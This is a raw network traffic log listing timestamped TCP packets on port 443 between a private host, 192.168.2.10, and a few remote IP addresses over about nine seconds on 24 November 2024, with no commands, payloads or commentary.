Nov 24, 2024 08:45:32.798568010 CET	443	50072	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.798650980 CET	50072	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.798820019 CET	50072	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.798835039 CET	443	50072	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:33.686631918 CET	50043	443	192.168.2.10	142.250.181.68
Nov 24, 2024 08:45:33.686666965 CET	443	50043	142.250.181.68	192.168.2.10
Nov 24, 2024 08:45:33.779620886 CET	443	50069	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:33.780359983 CET	50069	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:33.780395031 CET	443	50069	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:33.780992985 CET	50069	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:33.781001091 CET	443	50069	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:33.930819988 CET	443	50068	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:33.931585073 CET	50068	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:33.931608915 CET	443	50068	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:33.932045937 CET	50068	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:33.932051897 CET	443	50068	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:34.120141983 CET	443	50071	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:34.120852947 CET	50071	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:34.120893002 CET	443	50071	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:34.121421099 CET	50071	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:34.121431112 CET	443	50071	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:34.236229897 CET	443	50069	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:34.236318111 CET	443	50069	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:34.236377001 CET	50069	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:34.236809969 CET	50069	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:34.236838102 CET	443	50069	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:34.236855984 CET	50069	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:34.236864090 CET	443	50069	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:34.250822067 CET	50073	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:34.250868082 CET	443	50073	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:34.250951052 CET	50073	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:34.251116037 CET	50073	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:34.251127005 CET	443	50073	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:34.321430922 CET	443	50070	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:34.323585033 CET	50070	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:34.323633909 CET	443	50070	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:34.324199915 CET	50070	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:34.324210882 CET	443	50070	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:34.406250000 CET	443	50068	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:34.406335115 CET	443	50068	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:34.406430006 CET	50068	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:34.406608105 CET	50068	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:34.406640053 CET	443	50068	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:34.406655073 CET	50068	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:34.406661034 CET	443	50068	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:34.409791946 CET	50074	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:34.409852028 CET	443	50074	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:34.409930944 CET	50074	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:34.410131931 CET	50074	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:34.410151958 CET	443	50074	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:34.581815004 CET	443	50071	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:34.584830999 CET	443	50071	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:34.584928989 CET	50071	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:34.584990978 CET	50071	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:34.585017920 CET	443	50071	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:34.585032940 CET	50071	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:34.585041046 CET	443	50071	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:34.588177919 CET	50075	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:34.588213921 CET	443	50075	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:34.588329077 CET	50075	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:34.588500023 CET	50075	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:34.588510990 CET	443	50075	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:34.684649944 CET	443	50072	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:34.685506105 CET	50072	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:34.685539007 CET	443	50072	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:34.686103106 CET	50072	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:34.686111927 CET	443	50072	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:34.758038998 CET	443	50070	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:34.758119106 CET	443	50070	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:34.758358002 CET	50070	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:34.758548021 CET	50070	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:34.758579969 CET	443	50070	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:34.758593082 CET	50070	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:34.758599997 CET	443	50070	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:34.762203932 CET	50076	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:34.762247086 CET	443	50076	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:34.762366056 CET	50076	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:34.762559891 CET	50076	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:34.762568951 CET	443	50076	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:35.125356913 CET	443	50072	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:35.125385046 CET	443	50072	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:35.125449896 CET	50072	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:35.125477076 CET	443	50072	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:35.125514030 CET	50072	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:35.129246950 CET	443	50072	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:35.129317999 CET	443	50072	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:35.129362106 CET	50072	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:35.131705999 CET	50072	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:35.131726980 CET	443	50072	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:35.131740093 CET	50072	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:35.131745100 CET	443	50072	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:35.136116028 CET	50077	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:35.136158943 CET	443	50077	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:35.138983011 CET	50077	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:35.139419079 CET	50077	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:35.139434099 CET	443	50077	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.036550045 CET	443	50073	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.037174940 CET	50073	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:36.037206888 CET	443	50073	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.037734032 CET	50073	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:36.037739038 CET	443	50073	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.191859007 CET	443	50074	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.192454100 CET	50074	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:36.192490101 CET	443	50074	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.193156958 CET	50074	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:36.193173885 CET	443	50074	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.309931993 CET	443	50075	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.312612057 CET	50075	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:36.312639952 CET	443	50075	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.313257933 CET	50075	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:36.313262939 CET	443	50075	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.478822947 CET	443	50076	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.479583979 CET	50076	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:36.479610920 CET	443	50076	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.480102062 CET	50076	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:36.480106115 CET	443	50076	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.501513958 CET	443	50073	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.501545906 CET	443	50073	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.501600981 CET	443	50073	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.501660109 CET	50073	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:36.501701117 CET	50073	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:36.501991987 CET	50073	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:36.502012014 CET	443	50073	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.502026081 CET	50073	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:36.502031088 CET	443	50073	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.505505085 CET	50078	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:36.505530119 CET	443	50078	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.505618095 CET	50078	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:36.505800009 CET	50078	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:36.505806923 CET	443	50078	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.689841986 CET	443	50074	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.689874887 CET	443	50074	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.689893961 CET	443	50074	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.689976931 CET	50074	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:36.689996004 CET	443	50074	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.690043926 CET	50074	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:36.746085882 CET	443	50075	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.746112108 CET	443	50075	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.746221066 CET	50075	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:36.746249914 CET	443	50075	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.746562004 CET	50075	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:36.746567965 CET	443	50075	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.746582985 CET	50075	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:36.746762037 CET	443	50075	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.746798038 CET	443	50075	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.746835947 CET	50075	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:36.750085115 CET	50079	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:36.750122070 CET	443	50079	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.750221968 CET	50079	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:36.750426054 CET	50079	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:36.750436068 CET	443	50079	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.848579884 CET	443	50074	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.848680019 CET	443	50074	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.848721981 CET	50074	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:36.848762989 CET	50074	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:36.848880053 CET	50074	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:36.848896980 CET	443	50074	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.848910093 CET	50074	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:36.848915100 CET	443	50074	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.852248907 CET	50080	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:36.852288008 CET	443	50080	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.852364063 CET	50080	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:36.852529049 CET	50080	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:36.852540970 CET	443	50080	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.965481043 CET	443	50076	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.965500116 CET	443	50076	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.965554953 CET	443	50076	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.965562105 CET	50076	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:36.965585947 CET	443	50076	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.965611935 CET	50076	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:36.965642929 CET	50076	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:36.988924026 CET	443	50077	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.989756107 CET	50077	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:36.989770889 CET	443	50077	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:36.990539074 CET	50077	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:36.990544081 CET	443	50077	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:37.134660959 CET	443	50076	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:37.134783030 CET	443	50076	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:37.134808064 CET	443	50076	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:37.134869099 CET	50076	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:37.134941101 CET	50076	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:37.135082960 CET	50076	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:37.135102987 CET	443	50076	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:37.135116100 CET	50076	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:37.135121107 CET	443	50076	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:37.138824940 CET	50081	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:37.138860941 CET	443	50081	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:37.138963938 CET	50081	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:37.139286041 CET	50081	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:37.139295101 CET	443	50081	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:37.517200947 CET	443	50077	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:37.517225027 CET	443	50077	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:37.517326117 CET	50077	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:37.517359972 CET	443	50077	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:37.517410994 CET	50077	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:37.517719984 CET	50077	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:37.517725945 CET	443	50077	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:37.517765999 CET	50077	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:37.517947912 CET	443	50077	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:37.517982960 CET	443	50077	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:37.518033981 CET	50077	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:37.521161079 CET	50082	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:37.521212101 CET	443	50082	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:37.521527052 CET	50082	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:37.521722078 CET	50082	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:37.521737099 CET	443	50082	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:38.289127111 CET	443	50078	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:38.315095901 CET	50078	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:38.315128088 CET	443	50078	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:38.315840960 CET	50078	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:38.315855980 CET	443	50078	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:38.534806013 CET	443	50079	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:38.535443068 CET	50079	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:38.535471916 CET	443	50079	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:38.536031961 CET	50079	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:38.536037922 CET	443	50079	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:38.645847082 CET	443	50080	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:38.646447897 CET	50080	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:38.646462917 CET	443	50080	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:38.646959066 CET	50080	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:38.646965027 CET	443	50080	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:38.882874966 CET	443	50078	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:38.882904053 CET	443	50078	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:38.882972956 CET	443	50078	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:38.883028030 CET	50078	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:38.883069038 CET	50078	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:38.883384943 CET	50078	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:38.883405924 CET	443	50078	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:38.883419037 CET	50078	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:38.883424044 CET	443	50078	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:38.887063980 CET	50083	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:38.887105942 CET	443	50083	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:38.887209892 CET	50083	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:38.887398958 CET	50083	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:38.887407064 CET	443	50083	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:38.925612926 CET	443	50081	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:38.926322937 CET	50081	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:38.926359892 CET	443	50081	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:38.926817894 CET	50081	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:38.926824093 CET	443	50081	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:38.978509903 CET	443	50079	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:38.981544018 CET	443	50079	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:38.981607914 CET	50079	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:38.981652975 CET	50079	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:38.981676102 CET	443	50079	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:38.981687069 CET	50079	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:38.981693029 CET	443	50079	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:38.986418962 CET	50084	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:38.986466885 CET	443	50084	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:38.986546993 CET	50084	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:38.986704111 CET	50084	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:38.986716986 CET	443	50084	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:39.208244085 CET	443	50080	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:39.208328962 CET	443	50080	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:39.208440065 CET	50080	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:39.208820105 CET	50080	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:39.208848000 CET	443	50080	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:39.208863020 CET	50080	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:39.208869934 CET	443	50080	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:39.212766886 CET	50085	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:39.212824106 CET	443	50085	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:39.212901115 CET	50085	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:39.213870049 CET	50085	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:39.213886976 CET	443	50085	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:39.286516905 CET	443	50082	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:39.287070990 CET	50082	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:39.287089109 CET	443	50082	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:39.287607908 CET	50082	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:39.287614107 CET	443	50082	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:39.390680075 CET	443	50081	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:39.393829107 CET	443	50081	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:39.393903971 CET	50081	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:39.393945932 CET	50081	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:39.393964052 CET	443	50081	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:39.406289101 CET	50086	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:39.406347990 CET	443	50086	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:39.406481028 CET	50086	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:39.406641960 CET	50086	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:39.406651974 CET	443	50086	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:39.720406055 CET	443	50082	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:39.723712921 CET	443	50082	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:39.726975918 CET	50082	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:39.727073908 CET	50082	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:39.727097034 CET	443	50082	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:39.727111101 CET	50082	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:39.727116108 CET	443	50082	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:39.730477095 CET	50087	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:39.730545044 CET	443	50087	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:39.730644941 CET	50087	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:39.730808973 CET	50087	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:39.730820894 CET	443	50087	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:40.733254910 CET	443	50083	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:40.793337107 CET	50083	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:40.831782103 CET	443	50084	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:40.887242079 CET	50084	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:40.993652105 CET	443	50085	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:41.043445110 CET	50085	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:41.110227108 CET	50083	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:41.110260963 CET	443	50083	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:41.111222982 CET	50083	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:41.111232996 CET	443	50083	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:41.117923975 CET	50084	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:41.117964029 CET	443	50084	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:41.118657112 CET	50084	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:41.118663073 CET	443	50084	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:41.119057894 CET	50085	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:41.119081974 CET	443	50085	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:41.119865894 CET	50085	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:41.119874954 CET	443	50085	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:41.196101904 CET	443	50086	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:41.201934099 CET	50086	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:41.201976061 CET	443	50086	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:41.202701092 CET	50086	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:41.202706099 CET	443	50086	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:41.444236040 CET	443	50085	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:41.447417021 CET	443	50085	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:41.447547913 CET	50085	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:41.447601080 CET	50085	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:41.447634935 CET	443	50085	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:41.447659016 CET	50085	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:41.447666883 CET	443	50085	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:41.450211048 CET	443	50083	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:41.450534105 CET	443	50083	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:41.450583935 CET	50083	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:41.450602055 CET	443	50083	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:41.450634003 CET	443	50083	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:41.450670958 CET	50083	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:41.451523066 CET	50083	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:41.451534986 CET	443	50083	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:41.451545000 CET	50083	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:41.451550007 CET	443	50083	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:41.451577902 CET	443	50084	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:41.454756021 CET	443	50084	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:41.454818964 CET	50084	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:41.454859018 CET	50084	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:41.454879045 CET	443	50084	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:41.454890966 CET	50084	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:41.454895973 CET	443	50084	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:41.513612032 CET	443	50087	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:41.524327993 CET	50087	443	192.168.2.10	13.107.246.63
